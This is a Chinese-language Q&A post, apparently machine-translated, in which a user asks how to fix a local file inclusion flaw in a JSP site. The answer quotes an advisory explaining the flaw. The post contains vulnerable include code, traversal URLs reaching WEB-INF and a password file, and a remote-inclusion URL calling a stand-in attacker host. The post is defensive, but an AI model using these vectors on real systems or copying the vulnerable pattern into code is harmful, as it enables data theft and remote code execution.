危险的文件包含：本地漏洞

Question

请帮助我，我怎么能解决危险的文件包含：从 网站我的工作在当地的漏洞。

如

http://test.abc.com:80/abc.jsp?AccessKey=/..//WEB-INF/web.xml

它JSP servlet的应用。

感谢

Answer 1

我无法访问该网页，但有一个如何避免错误此信息：

http://www.hpenterprisesecurity.com/vulncat/en/vulncat/java/dangerous_file_inclusion.html

危险文件包含

允许未经验证的用户输入控制在JSP中动态包含 的文件可能导致恶意代码执行。说明

许多现代网页脚本语言通过在一个封装文件中包含其他源文件 的能力来实现代码重用和模块化。这种功能通常用于将 标准外观和应用（模板）应用，共享功能 而不需要编译代码，或将代码分解成更小的更易于管理的文件。包含的文件被解释为 父文件的一部分，并以相同的方式执行。当包含文件的路径由未验证的用户输入控制 时，会发生文件包含 漏洞。

示例1：以下是本地文件包含 漏洞的示例。示例代码使用用户指定的模板名称 ，并将其包括在要呈现的JSP页面中。

<jsp:include page="<%=(String)request.getParameter(\"template\")%>"> 

如果攻击者指定一个有效文件，以动态包括 声明，该文件的内容将被传递给JSP 解释的页面上呈现。

在窗体的攻击向量的情况下

specialpage.jsp？模板=/WEB-INF /数据库/ passwordDB

的JSP解释将使 /WEB-INF的内容/ database/passwordDB文件到JSP页面，从而损害系统的安全性 。更糟糕的是，如果攻击者可以指定攻击者控制的远程站点路径控制 ，那么动态include语句将执行 攻击者提供的任意恶意代码。

示例2：下面显示了一个远程文件包含漏洞的示例 。示例代码使用c：import标签将用户 指定的远程文件导入当前JSP页面。

<c:import url="<%= request.getParameter("privacy")%>"> 

形式

policy.jsp？隐私的攻击向量= http://www.malicioushost.com/attackdata.js

可从由攻击者控制的远程站点 恶意代码注入当前JSP页。

所以，你应该检查包括你的JSP的